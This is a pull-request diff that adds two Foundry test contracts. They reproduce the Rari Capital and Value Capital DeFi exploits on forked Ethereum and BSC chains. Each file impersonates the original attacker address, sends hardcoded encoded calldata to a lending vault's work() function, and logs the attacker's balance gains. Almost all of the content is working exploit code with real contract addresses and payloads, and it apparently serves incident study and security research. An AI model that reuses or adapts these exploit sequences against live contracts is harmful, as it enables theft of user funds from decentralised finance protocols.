Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
77 changes: 77 additions & 0 deletions src/test/RariCapital_exp.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,77 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

/*
Attack tx: https://etherscan.com/tx/0x171072422efb5cd461546bfe986017d9b5aa427ff1c07ebe8acc064b13a7b7be
Tenderly.co: https://dashboard.tenderly.co/tx/mainnet/0x171072422efb5cd461546bfe986017d9b5aa427ff1c07ebe8acc064b13a7b7be/
Debug transaction: https://phalcon.blocksec.com/tx/eth/0x171072422efb5cd461546bfe986017d9b5aa427ff1c07ebe8acc064b13a7b7be

run: forge test --contracts ./src/test/RariCapital_exp.sol -vvv

*/
interface Bank {
function work(uint256 id, address goblin, uint256 loan, uint256 maxReturn, bytes calldata data)
external payable;
}

contract ContractTest is DSTest {
Bank vault = Bank(0x67B66C99D3Eb37Fa76Aa3Ed1ff33E8e39F0b9c7A);
IERC20 fakeToken = IERC20(payable(0x2f755e8980f0c2E81681D82CCCd1a4BD5b4D5D46));
address attacker = address(0xCB36b1ee0Af68Dce5578a487fF2Da81282512233);
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

function setUp() public {
cheats.createSelectFork("mainnet", 12394009); //fork bsc at block 12394009
}

function testExploit() public {
// cheats.deal(attacker, 9 ether);
emit log_named_decimal_uint(
"[Start] ETH Balance of attacker",
attacker.balance,
18
);
emit log_named_decimal_uint(
"[Start] ETH Balance of fake pair",
address(0x2f755e8980f0c2E81681D82CCCd1a4BD5b4D5D46).balance,
18
);

emit log_named_decimal_uint(
"[Start] FakeToken balance of attacker",
fakeToken.balanceOf(attacker),
18
);
bytes memory data = hex"00000000000000000000000081796c4602b82054a727527cd16119807b8c7608000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000600000000000000000000000002f755e8980f0c2e81681d82cccd1a4bd5b4d5d4600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";

cheats.startPrank(0xCB36b1ee0Af68Dce5578a487fF2Da81282512233, 0xCB36b1ee0Af68Dce5578a487fF2Da81282512233);
(bool success, bytes memory result) = address(0x2f755e8980f0c2E81681D82CCCd1a4BD5b4D5D46).call{value: 1031000000000000000000}(
abi.encodeWithSignature("donate()")
);
emit log_named_decimal_uint(
"[Start] ETH Balance of attacker",
attacker.balance,
18
);
emit log_named_decimal_uint(
"[Start] ETH Balance of fake pair",
address(0x2f755e8980f0c2E81681D82CCCd1a4BD5b4D5D46).balance,
18
);
vault.work{value: 100000000}(0,
0x9EED7274Ea4b614ACC217e46727d377f7e6F9b24,
0,
100000000000000000000000,
data
);

emit log_named_decimal_uint(
"[End] ETH Balance of attacker",
attacker.balance,
18
);
}
}
73 changes: 73 additions & 0 deletions src/test/ValueCapital_exp.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,73 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

/*
Attack tx: https://bscscan.com/tx/0xa00def91954ba9f1a1320ef582420d41ca886d417d996362bf3ac3fe2bfb9006
Tenderly.co:: https://dashboard.tenderly.co/tx/bsc/0xa00def91954ba9f1a1320ef582420d41ca886d417d996362bf3ac3fe2bfb9006/
Debug transaction: https://phalcon.blocksec.com/tx/bsc/0xa00def91954ba9f1a1320ef582420d41ca886d417d996362bf3ac3fe2bfb9006

run: forge test --contracts ./src/test/ValueCapital_exp.sol -vvv

*/

interface AlpacaWBNBVault {
function work(uint256 id, address worker, uint256 principalAmount, uint256 loan, uint256 maxReturn, bytes calldata data)
external payable;
}

contract ContractTest is DSTest {
AlpacaWBNBVault vault = AlpacaWBNBVault(0xd7D069493685A581d27824Fc46EdA46B7EfC0063);
IWBNB wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
IERC20 vSafeVaultWBNB = IERC20(payable(0xD4BBF439d3EAb5155Ca7c0537E583088fB4CFCe8));
address attacker = address(0xCB36b1ee0Af68Dce5578a487fF2Da81282512233);
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

function setUp() public {
cheats.createSelectFork("bsc", 7223263); //fork bsc at block 7223263
}

function testExploit() public {
cheats.deal(attacker, 1 ether);
emit log_named_decimal_uint(
"[Start] WBNB Balance of attacker",
wbnb.balanceOf(attacker),
18
);

bytes memory data = hex"000000000000000000000000e38ebfe8f314dcad61d5adcb29c1a26f41bed0be00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000060000000000000000000000000bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c0000000000000000000000004269e4090ff9dfc99d8846eb0d42e67f01c3ac8b0000000000000000000000000000000000000000000000000000000000000000";

cheats.startPrank(0xCB36b1ee0Af68Dce5578a487fF2Da81282512233, 0xCB36b1ee0Af68Dce5578a487fF2Da81282512233);
wbnb.approve(address(vault), 1 ether);
vault.work{value: 1 ether}(0,
0x7Af938f0EFDD98Dc513109F6A7E85106D26E16c4,
1000000000000000000,
393652744565353082751500,
1000000000000000000000000,
data
);

emit log_named_decimal_uint(
"[End] Attacker vSafeWBNB balance after exploit",
vSafeVaultWBNB.balanceOf(attacker),
18
);
// cheats.rollFork(bytes32(0x158c9fe2abde339b689476cee646d63c2f7c605af4b16b4e32d68643d5af6d92));
// emit log_uint(block.number);
(bool success, bytes memory result) = address(0x4269e4090FF9dFc99D8846eB0D42E67F01C3AC8b).call(
abi.encodeWithSelector(0x5e7ab248)
);
emit log_named_decimal_uint(
"[End] Attacker vSafeWBNB balance after withdraw",
vSafeVaultWBNB.balanceOf(attacker),
18
);
emit log_named_decimal_uint(
"[End] WBNB balance of attacker after withdraw",
wbnb.balanceOf(attacker),
18
);
}
}